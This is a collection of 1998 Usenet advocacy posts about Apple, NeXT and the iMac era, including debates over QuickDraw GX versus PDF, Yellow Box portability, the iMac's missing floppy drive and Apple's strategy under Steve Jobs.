From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: CR1 beta?
Newsgroups: comp.sys.next.advocacy
References: <35E463D6.79D7@spork.niddk.nih.gov>
Message-ID: <35e473f8.0@news.depaul.edu>
Date: 26 Aug 98 20:45:44 GMT
John Kuszewski <johnk@spork.niddk.nih.gov> wrote:
> Hi,
> I saw a little note on Macintouch the other day that some people
> have reported seeing betas for MacOS X Server. What's the deal
> with this? I'm an Apple developer, and I have RDR2, but I haven't
> heard anything about, much less received a CD of, CR1 beta.
It could be a limited release, or it could be a user-oriented
beta, not a developer release. Apple has a prerelease program
which is separate from the developer release program.
A graphic-design shop would serve well as a beta-test site, but
they'd have no use for a developer membership. Same for
a high school, or a TV production studio.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Interesting aspect..
Message-ID: <1998082800280800.UAA18307@ladder01.news.aol.com>
Date: 28 Aug 1998 00:28:08 GMT
Organization: AOL http://www.aol.com
References: <joe.ragosta-2708980846000001@wil49.dol.net>
Joe Ragosta said (originally, before quotes):
>> >Or, connect a cable from one modem to the other.
You don't even need to do this--just get a Mac modem cable and a PC serial
laplink cable and then use communications software to move things between.
Anyone else think that Dataviz would've been much better served to've revived
their old 'link products than by their really insulting "whatever" campaign?
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Message-ID: <1998082800420200.UAA20328@ladder01.news.aol.com>
Date: 28 Aug 1998 00:42:02 GMT
Organization: AOL http://www.aol.com
References: <B20A4ED3-55056@206.165.43.176>
Lawson said in critique of ePDF/QD (and presumably Display PostScript)
>Sounds nice...
>
>And how is it for printing and sharing of standardized graphic images that
>are still editable without a $500-$1000 app? What about trivial things like
>editable text, editable transparencies, etc?
>
>That PDF file model looks really good, eh?
Believe it or not, it's fine for printing, and the situation is much better
than QuickDraw/GX's inability to output to imagesetters--where're those
Manhattan Graphics Printer Description files which would allow one to output
film for printing from ReadySetGo/GX?
I find it hard to believe that you could argue thatQD/GX's interoperability is
anywhere near that of a .PDF which can be annotated in Acrobat Reader
(available for free) or loaded into Freehand or Illustrator or OneVision.app
for editing.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: GX vs ?? (Was Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 27 Aug 98 17:46:50 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B20B538E-5E0B3@206.165.43.158>
References: <6s2nar$ek61@odie.mcleod.net>
Mime-Version: 1.0
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To: "GX-Talk" <gx-talk@aimed.org>, "AIMED-Talk" <aimed-talk@aimed.org>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.priment.com/comp.sys.mac.programmer.misc
Well, let's see...
GX is available on every color Mac. YB graphics is available on...?
Is that with or without Display Postscript? Just what IS the imaging model
of the YB? DPS? PDF? eQD? Which version of YB are we talking about?
GX is working now. GXFCN implements a scripting interface for HyperCard
programmers for GX and about 60% of all schools K-12 use it in some way
(over 100,000 people bought Danny Goodman's first book on HyperCard
programming if you're wondering at the potential market). Cost of GXFCN is
$10 shareware for anyone who finds immediate use out of GXFCN and $10 per
product for stack developers who want to license it for use it in their
stacks. Next up: a simple GX-based drawing XFCN that allows HyperCard
developers to extend the functionality via scripting. The drawing XFCN will
be distributed with GXFCN and included in the $10 personal use fee.
Licensing has yet to be determined.
We're looking at the feasability of creating an OSAX to allow
AppleScripters to access the GX API and use/enhance the drawing OSAX via
AppleScript.
I've no objection to Apple producting a BETTER 2D library than GX, but I'm
not holding my breath that they will. Certainly, it won't run on 90% of
existing Macintoshes. GX provides for saving "flattened" objects that can
be read by any GX-using application, including GXFCN and the upcoming OSAX.
And serializing objects into human-readable form is worthless for many
tasks, IMHO, because it gains you no real advantage and requires you to use
a text-parsing app to extract any kind of image. For cut'n'paste and
file-sharing of images, binary is far more efficient, and GX's picture
shape is far more useful than what PDF appears to offer. If Apple *does*
use PDF as a "meta-file format" and uses a private, Apple-specific GX-like
structure internally, that's great, but uses up a lot more memory and disk
space if they maintain both the standard PDF format AND their private
format.
And, unlike PDF, GX allows one to use the standard GX API to edit print
files and maintains transparency and all other graphics related info, even
when dealing with transparent overlapping fully formatted, multi-lingual
text, until the final translation to the target print driver.
Far more elegant than PDF's solution.
Could the GX model be extended? Sure.
Could it be re-implemented using the eQD graphics engine?
As long as a few extras (like 3x3 perspective transforms and full control
of inks for bitmaps) were provided.
WILL Apple make something better than GX?
I doubt it. Competes in far too many ways with Adobe.
BTW, you've mentioned libraries and so on that blow GX out of the water.
Which platforms do they run on and how much to license them for developers
and end-users?
What's the K-12 discount?
Michelle L. Buck <buck.erik@mcleod.net>
>The GX rant will never die.
>
>Given a powerful object oriented infrastructure and modern (25 year old)
>operating system services and a powerful device independent imaging
>model,
>an object framework that makes GX look like a toy is not only feasible but
>has been implemented (probably more than once). Shape classes that can be
>rendered multiple times with varying fill styles/ attributes etc. are
>insignificant. (If interested see Don Yacktman's Stepwise article
>critiquing Draw.app) Trees of shape objects are obvious. Serializing
>objects into human readable (standard) ASCII files is well understood.
>
>Hit testing, arbitrary transforms, transparency, color models, fonts,
text,
>images, etc are all available and readily included in your shape classes.
I
>am rather glad that for once Apple is providing a rock solid foundation
that
>I can build upon rather than a horrible mess built on top of shifting
sands
>and gratuitously non-standard components.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: GX vs ?? (Was Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 27 Aug 98 18:20:10 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B20B53E7-5F5BD@206.165.43.158>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
To: "GX-Talk" <gx-talk@aimed.org>, "AIMED-Talk" <aimed-talk@aimed.org>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Well, let's see...
GX is available on every color Mac. YB graphics is available on...?
Is that with or without Display Postscript? Just what IS the imaging model
of the YB? DPS? PDF? eQD? Which version of YB are we talking about?
GX is working now. GXFCN implements a scripting interface for HyperCard
programmers for GX and about 60% of all schools K-12 use it in some way
(over 100,000 people bought Danny Goodman's first book on HyperCard
programming if you're wondering at the potential market). Cost of GXFCN is
$10 shareware for anyone who finds immediate use out of GXFCN and $10 per
product for stack developers who want to license it for use it in their
stacks. Next up: a simple GX-based drawing XFCN that allows HyperCard
developers to extend the functionality via scripting. The drawing XFCN will
be distributed with GXFCN and included in the $10 personal use fee.
Licensing has yet to be determined.
We're looking at the feasability of creating an OSAX to allow
AppleScripters to access the GX API and use/enhance the drawing OSAX via
AppleScript.
I've no objection to Apple producting a BETTER 2D library than GX, but I'm
not holding my breath that they will. Certainly, it won't run on 90% of
existing Macintoshes. GX provides for saving "flattened" objects that can
be read by any GX-using application, including GXFCN and the upcoming OSAX.
And serializing objects into human-readable form is worthless for many
tasks, IMHO, because it gains you no real advantage and requires you to use
a text-parsing app to extract any kind of image. For cut'n'paste and
file-sharing of images, binary is far more efficient, and GX's picture
shape is far more useful than what PDF appears to offer. If Apple *does*
use PDF as a "meta-file format" and uses a private, Apple-specific GX-like
structure internally, that's great, but uses up a lot more memory and disk
space if they maintain both the standard PDF format AND their private
format.
And, unlike PDF, GX allows one to use the standard GX API to edit print
files and maintains transparency and all other graphics related info, even
when dealing with transparent overlapping fully formatted, multi-lingual
text, until the final translation to the target print driver.
Far more elegant than PDF's solution.
Could the GX model be extended? Sure.
Could it be re-implemented using the eQD graphics engine?
As long as a few extras (like 3x3 perspective transforms and full control
of inks for bitmaps) were provided.
WILL Apple make something better than GX?
I doubt it. Competes in far too many ways with Adobe.
BTW, you've mentioned libraries and so on that blow GX out of the water.
Which platforms do they run on and how much to license them for developers
and end-users?
What's the K-12 discount?
Michelle L. Buck <buck.erik@mcleod.net>
>The GX rant will never die.
>
>Given a powerful object oriented infrastructure and modern (25 year old)
>operating system services and a powerful device independent imaging
>model,
>an object framework that makes GX look like a toy is not only feasible but
>has been implemented (probably more than once). Shape classes that can be
>rendered multiple times with varying fill styles/ attributes etc. are
>insignificant. (If interested see Don Yacktman's Stepwise article
>critiquing Draw.app) Trees of shape objects are obvious. Serializing
>objects into human readable (standard) ASCII files is well understood.
>
>Hit testing, arbitrary transforms, transparency, color models, fonts,
text,
>images, etc are all available and readily included in your shape classes.
I
>am rather glad that for once Apple is providing a rock solid foundation
that
>I can build upon rather than a horrible mess built on top of shifting
sands
>and gratuitously non-standard components.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII (not)
Date: Fri, 28 Aug 1998 01:09:21 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35e9030f.7756271@news.supernews.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <6rk24n$q52$1@nnrp02.primenet.com> <35E38CF3.41CB9A34@geocities.com> <35E59D8C.21D5@ieighty.net>
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Legacy 'Xunker' <legacy@ieighty.net>, on Thu, 27 Aug 1998 11:55:24 -0600,
>Con-Tiki wrote:
>>
>> I've seen a G3 350.
>> I tell you, my PII266 kicks the G3 I saw.
>> The G3 is faster, but Mac O/s 8 uses to much Ram.
>> Windows - 4mb
>
>What *ARE* you smoking. Sure, it will _run_, but It'll take 5 minutes
>to boot. believe me, I've tried.
>
>> Linux - 4mb
>
>Axctually, 2.0.33 will run on 2mb
>
>> Mac O/s 8 - 11mb
>
>12 actually. I'm actually certain that it _would_ run on less, but that
>Apple was being liberal with the spec sheet. They wanted you to be able
>to get some decent performance out of it.
I believe the original poster was referring to the RAM being used directly by
"the OS" itself, not the minimum configuration required for application work.
Though where he got those numbers, and why he thinks they're valid, I haven't
a clue.
--
T. Max Devlin
Eltrax Systems, Inc.
mdevlin@eltrax.com
-[Opinions expressed are my own; everyone else, including
my employer, has to pay for them, subject to
applicable licensing agreement]-
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Fri, 28 Aug 1998 11:47:02 +1000
Organization: OzEmail Ltd.
Message-ID: <6s529p$4t0$1@reader1.reader.news.ozemail.net>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.404CD486@ericsson.com> <6s2jb1$oqh@news1.panix.com> <6s2nle$ek62@odie.mcleod.net>
Michelle L. Buck wrote in message <6s2nle$ek62@odie.mcleod.net>...
>Apple is not making more than a few hundred dollars on each PPC shipped.
>20%-25% gross margins are common. Apple does not need to drop hardware.
>They should sell Rhapsody Intel at whatever price generates the same return
>on investment that selling hardware generates. It should not matter to them
>if they sell a copy of Rhapsody PC or another PPC unit. They make the same
>amount of money either way. Furthermore, selling a few million Rhapsody
>Intel seats might actually make PPC hardware MORE attractive.
As another person noted, a problem is with supporting Intel configurations.
Other than that I agree with you 100%.
(and I think the OpenMach proposal could help Intel support!)
There is one other point that I think is _now_ very relevant.
Whilever Apple production lines are running at full capacity, a sale of
Rhapsody can only gain them $$$$.
If you've got your production lines running at 105% and you release
rhapsody and lose that 5% - you still win. Especially since you're
still making money on that 5%, and many more people will
buy the product.
Just my thoughts
Greg
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Wed, 26 Aug 1998 17:18:40 -0500
Organization: Ericsson North America Inc.
Message-ID: <35E489C0.7937F855@ericsson.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com> <6s1ohc$9od@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> I'm sorry, but if everyone sees things different from you, it may not
> be that they have their heads in the sand, or that they are trying to
> fool others out of pride. It may simply be that you are wrong.
That's not exactly the case. You see things differently from me, but
that hardly concerns me. The fact is that there's technology and other
value in the Macintosh platform and that just happens to interest me. My
key concern at this point is deriving some kind of benefit from those
things, so my criticism comes from a self-interested perspective that
sees Macintosh technology steadily losing value day by day.
That's a real waste, but I'm not drinking Kool-Aid. Unfortunately, that
doesn't escape the attention of a group of people who take the issue
very personally; if I had to guess, it's a major point of self-esteem.
> The only problem that I've had with the 7100/66 that I've had for four
> years is that my external SCSI chain caused me problems. I had Zip,
> two external HDs, and scanner. No matter how much I shortened the cables
> and carefully seated and fastened the connectors, and made sure the thing
> was correctly terminated; after several weeks something would go wrong --
> typically I would get a freeze or a crash. (The machine was powered up and
> down many times in this period). Simply redoing the external chain would
> fix the problem. But I ended up removing devices from the chain.
We had problems with our external SCSI chain, as well, but one of
co-workers had some experience with long chains (we had a large Howtek
drum scanner and a Fuji film printer, among other things) and he always
managed to get it working acceptably after some fiddling and switching
the order of peripherals.
Ethernet was a common problem for all of the Macintoshes; to alleviate
the sheer horror of transferring large files over AppleTalk/EtherTalk I
set up a Samba file server on an old SPARC IPC with a semi-large disk
and we just went completely TCP/IP, but that didn't really help the
problems with Apple-branded transceivers and bad cards. Still, we no
longer had to switch our little AppleTalk control panel every time we
wanted to print locally.
MJP
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Fri, 28 Aug 1998 12:16:08 +1000
Organization: OzEmail Ltd.
Message-ID: <6s5408$kc5$1@reader1.reader.news.ozemail.net>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net>
Shelton Garner wrote in message ...
>Like I've said before--what if Apple went with Linux instead. Then it
>could produce software that would run on both Mac and PC hardware
>systems as well as grow as Linux grew.
I think it would be a great idea for Intel support.
Sell a Mac GUI with YB and Quicktime on Linux. Add Carbon if they
can.
Surely it'd be easier to do this on the BSDs though? (At least to start with).
Would they have to support existing Linux/BSD applications? Once there
are enough YB programs they'd be okay for new users.
On HP/UX, SunOS, & Windows they have to make YB fit a different graphics
scheme. They wouldn't have to do that on the Open sources since they
haven't got a clear "winner" in GUIs yet. That makes Apple's job much easier.
It could, however, become a problem for existing Linux/BSD users who want
there old GUI-based apps - which would need to be supported. There are
already some freeware apps for Rhapsody doing X, but not integrating
the interfaces yet.
I see this idea as quite independent of OpenMach. Good for Linux (more
choice and another company giving it legitimacy) and good for Apple
(no worries on hardware support, and making some money).
Just my thoughts
Greg
P.S. If Apple supported WINE then developers would test their products
on Windows & WINE... good for EVERYONE!
From: james_t@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dragthing being ported? Was: Re: docks in OSX
Date: Wed, 26 Aug 1998 15:03:43 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6s184f$b92$1@nnrp1.dejanews.com>
References: <6riqlj$14n$1@news.digifix.com> <alex-1908981239120001@castle.webis.net> <1998082002171700.WAA05274@ladder03.news.aol.com> <alex-2008980843070001@castle.webis.net> <6rhqbi$qjq$1@nnrp1.dejanews.com> <6rmb7s$lok$3@sibyl.sunrise.ch> <andrew-2508981145360001@192.168.1.74>
> What are the odds of getting DragThing ported? (James?) I use its process
> dock and other docks constantly. It's always the first thing to get
> reinstalled after a clean install :-)
I think the chances of a port of DragThing to MacOS X using the Carbon APIs
are extremely good - it scored over 94% compatibility in the carbon dating
labs at WWDC, and DragThing Lite was over 96%.
DragThing 2.6 is being worked on right now, and it supports MacOS 8.5 features
like Navigation Services which will be required by Carbon, so it should score
even higher. It should be available around the same time as 8.5 is released
(although 2.5 runs very well under 8.5 already). Check out
<http://www.dragthing.com/>
for the latest news as it happens, and to download 2.5.
As for MacOS X, there may be a few things like the hot keys, which rely on OS
level event filtering, (which wasn't mentioned in the WWDC Carbon white paper
as something available in the Carbon API), which might cause trouble, but
from what I can gather, it should only take a few days to get DragThing
running under MacOS X once an SDK is available.
James (author of DragThing)
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Interesting aspect..
Date: 28 Aug 1998 03:40:14 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6s58qu$7k0@news1.panix.com>
References: <joe.ragosta-2708980846000001@wil49.dol.net> <1998082800280800.UAA18307@ladder01.news.aol.com>
On 28 Aug 1998 00:28:08 GMT, WillAdams <willadams@aol.com> wrote:
>You don't even need to do this--just get a Mac modem cable and a PC serial
>laplink cable and then use communications software to move things between.
This won't work. The iMac has no Mac serial port, only USB ports.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 28 Aug 1998 03:40:16 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6s58r0$7k0@news1.panix.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <35E46FAC.404CD486@ericsson.com> <6s2jb1$oqh@news1.panix.com> <35E5829C.A0EF432A@ericsson.com>
On Thu, 27 Aug 1998 11:00:28 -0500,
Michael Peck <Michael.Peck@ericsson.com> wrote:
>The reason for this is common design. How much more could Apple achieve
>an attractive portability layer with proven-portable libraries like
>Yellow Box?
This is a moot point at best. If Apple went software only, the portability
of YB wouldn't help its current business partners port existing MacOS
code to YB platforms. Little, if any, of those ISVs have any investment
in YB code right now.
Go back and think about the problem. I think you'll have to agree that
Apple isn't in a position to go software only. It would take _years_ to
get to that point. (And maybe this is part of Steve's plan, he did it
once before with NeXT.)
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 28 Aug 1998 03:40:15 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6s58qv$7k0@news1.panix.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com> <6s1nq7$9mj@newsb.netnews.att.com> <35E46BAA.2C74EA52@ericsson.com> <6s2jb0$oqh@news1.panix.com> <35E5B233.FC15155E@ericsson.com>
On Thu, 27 Aug 1998 14:23:31 -0500,
Michael Peck <Michael.Peck@ericsson.com> wrote:
>Look, I'm sorry about whatever is wrong with your life to make you such
>a bitter and vindictive man. I'd really like to help. Send me email.
You have spent the last 18 months posting FUD to Apple newsgroups
and you call *me* vindictive?
This is even funnier than when you called be "hopelessly biased" but
would explain what my bias was for. Or when you called me a shill, but
wouldn't say what I was a shill for. Not to mention your inane statements
that "next users don't understand business" and the NeXTStep UI is
"systemically inconsistent."
You want to help? Physician heal thyself. Get that chip off your shoulder
and you'll do everyone, including yourself a favor.
From: cquirke@iafrica.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Wed, 26 Aug 1998 22:52:32 GMT
Organization: UUNET Internet Africa
Message-ID: <35e48b21.170417768@news.iafrica.com>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net>
On Thu, 20 Aug 1998 18:31:49 -0700, gmgraves@slip.net (George Graves)
>In article <35dc7478.113530583@news.iafrica.com>, cquirke@iafrica.com wrote:
>> On Thu, 20 Aug 1998 18:46:11 +1000, Thomas King
>> >On Sun, 16 Aug 1998 cquirke@iafrica.com wrote:
>> Maybe we don't only want to "get onto the web". Maybe we also want to
>> do other stuff, or at least have the option of doing other stuff open
>> to us. Like, save stuff on disks, or add stuff. How much was your
>> *special* diskette drive, that your wonderful design couldn't fit into
>> the case? $90 sounds like 4 times the cost of a standard 1.44M
>> diskette drive to me... lemmie guess, only Apple makes 'em, eh?
>You're Wrong. Apple does NOT make 'em. Imation makes 'em and they're
>$200 not $90.
Nope, not talking hi-capacity storage, just yer plain old diskette
drive that is such a standard part of a computer that one doesn't
think to ask about it. Only thing "special" about it is that it's an
*Apple* diskette drive. And $90 was the reported price.
Sure, double that would get an IOmega Zip drive that works on both
Apple and x86 systems, and a quarter of that would get a PC 1.44M
>I was at the local MicroCenter on Saturday, and the Apple
>guy that had there answering questions and demo'ing the iMacs made a
>pretty good case for not having a floppy. Not sure I buy it, but it was
>food for thought.
Some folks will eat anything ;-)
>Me too. The iMac isn't for me. Its obviously not for you. The difference
>between us is that I see no particular compunction to go on UseNet
>an complain about it.
I normally don't, and as I don't have an interest in advocay wars, I
don't read advocacy newsgroups. But after a week of e-mail listserv
from ZDnet drooling over this poison-candy, followed by these sort of
advocacy flamewars cross-posted into comp.sys.intel, I get sparky.
>> Or do you consider newbies such exploitable scum that thier data can
>> have no possible value?
>No, I consider anyone who thinks that they know what's best for others
>fascist scum. right now, that's you, brother!
Hey, I'm not telling you what to buy. I just think that offering
newbie-bait systems that provide no way whatsoever to back up any user
data at all is taking the line that the user's data is worthless -
which I think is arrogant/negligent, given that "always backup your
data" is a basic tenant since Commodore Vic20 days, and how much
newbie misery follows when this tenant is ignored.
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: RDF Watch
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References: <6s1psh$9so@newsb.netnews.att.com> <ckoller-ya02408000R2608981500540001@netnews.worldnet.att.net>
Message-ID: <411F1.2324$MS.3180844@news.rdc1.sdca.home.com>
Date: Wed, 26 Aug 1998 23:39:44 GMT
NNTP-Posting-Date: Wed, 26 Aug 1998 16:39:44 PDT
Organization: @Home Network
In <ckoller-ya02408000R2608981500540001@netnews.worldnet.att.net> Craig
Koller wrote:
> In article <6s1psh$9so@newsb.netnews.att.com>,
> gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>
> > Supposedly, anyone who likes Steve Jobs' performance has been
> > affected by a Reality Distortion Field. Here is one :
> >
> > http://www.computerworld.com/home/print.nsf/all/980824634E
> >
> > "Apple turnaround is a Jobs well done", by Bill Laberis.
> >
> > -arun gupta
>
> Hey, the RDF is all part of the package, baby! ;0)
>
> Are the pundits also arguing that Macs, under Steve's watch, are
> concurrently getting slower? Uglier? Less stable? More overpriced? Are we
> being hypnotized into believing what's worse, is actually better? No, Macs
> are fast, well-designed, more stable with every OS rev, and cheaper than
> they've ever been. Due dilligence aside, it takes more than good products
> to grow companies.
>
> To combat the cult of Bill (and nobody can convince me that every PC is
> sold based on sober, rational analysis, free from the overwhelmingly
> enigmatic force that is Microsoft) the Jobsian RDF is a valuable tool.
>
> Gates *wishes* he could be one tenth as persuasive...
>
>
Personal style aside, Gates brings more tangibles to the task. I used PC's
from 1976 - 1984, Mac's 1984 - 1989, NeXT's 1990 - 1998 and WinXX's 1996 -
present. There is no RDF other than what people want to believe. Read any
interview with Jobs and he barely makes a compelling impression of the old
"Jobs" of 1984. SJ has toned down the mercurial pitch.
The PC-Mac '84 "switch" was clearly superior technology. Mac-NeXT '90
"switch" was superior technology, though not clearly so. Today 1998 their is
no "switch" but a marketplace which does not offer any clearly superior
products. I'm currently using five OSes when I should only need two, at
most. Each of the five perform a critical role the other's cannot. This
market fragmentation is unproductive, redundant and inefficient.
We have four or five vectors which could take command of this industry. M$
could dominate if NT5.0 is as good as everyone wants it to be. Java could
dominate if "ever" the promise of machine independence becomes a reality.
Network "App Servers" could dominate if either of the above cannot deliver on
their promises. Macintosh, the "other PC", has not impressed _any_ market
strategy which could be construed as challenging any of the above paradigms.
Microsoft with its entrenched base of programs and applications wields the
most influence in "direction" and "velocity" of progress toward the connected
future. Java could revolutionize programming but remains questionable at the
machine level. App Servers deliver qualities which MS cannot which presages
a battled for the hearts and minds of consumers/industry. Macintosh is
simply a dark horse in the race. The new MacOS X is capable of competing in
all three arenas but lacks resources to drive the marketplace in its current
incarnation.
I steadfastly maintain that Apple cannot make it alone. Apple needs to
partner/merger its way into market leadership position. At the slightest
hint that the new Apple management is _ready_ to undertake such a building
program is the moment any RDF hype is mute.
These people are known for wanting to change the world. I have lost no
confidence in that knowledge. On the otherhand, no evidence exists to
indicate Apple will make it back to challenge the industry, again.
r
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Wed, 26 Aug 1998 21:50:22 +0000
Organization: BM
Message-ID: <6s2dm9$2pr$1@birch.prod.itd.earthlink.net>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com>
<rmcassid-2608981351410001@hephaestus.eng.uci.edu>
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rmcassid@uci.edu (Robert Cassidy) wrote:
>Perhaps an Apple buyout of Adobe and merger with Filemaker Inc., to create
>the cross-platform application software arm of Apple computer?
Wasn't that called Claris?
>Didn't we already go through the arguments for Apple buying Adobe?
That would prod Quark or Microsoft to buy Macromedia and we'd have Win/Mac split
with Apple-Adobe in one camp and Macromedia-Quark/Microsoft in the other.
I don't see how Apple would continue to give Adobe's Win products as much
attention as they've been getting under Adobe. Think of Photoshop and MMX, for
instance.
I'd love Apple to wrest control of its Mac software destiny from Adobe somehow,
but I don't see how.
Ziya Oz
From: rez@neuron.net
Newsgroups: comp.sys.next.advocacy
Subject: Re: iMac's Competition
Date: Fri, 28 Aug 1998 04:58:14 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6s5dd6$6tt$1@nnrp1.dejanews.com>
References: <35E5B9B8.D3ABD955@ericsson.com>
In article <35E5B9B8.D3ABD955@ericsson.com>,
Michael Peck <Michael.Peck@ericsson.com> wrote:
> This NEWS.COM article describes a $1,300 machine from IBM that runs at
> 350 MHz and comes with 64 MB of memory, an 8.0 GB hard drive, and a
> replaceable ATI Rage Pro Turbo (funny, eh) in a 2X AGP slot.
ah, but all IBM's doing there is competing in a very familiar, comfortable,
risk-free, quantifiable space: that of "parts is parts." they don't seem to
be doing anything in particular with useability, or ease of setup and use, or
percieved alien-ness of the computer to an average person's daily life or
sense of fun and interest. indeed, the only way they could gain the final
advantage -- the 24 hour peer support of a group of obsessed loonies :) --
would be if it came with Linux pre-installed.
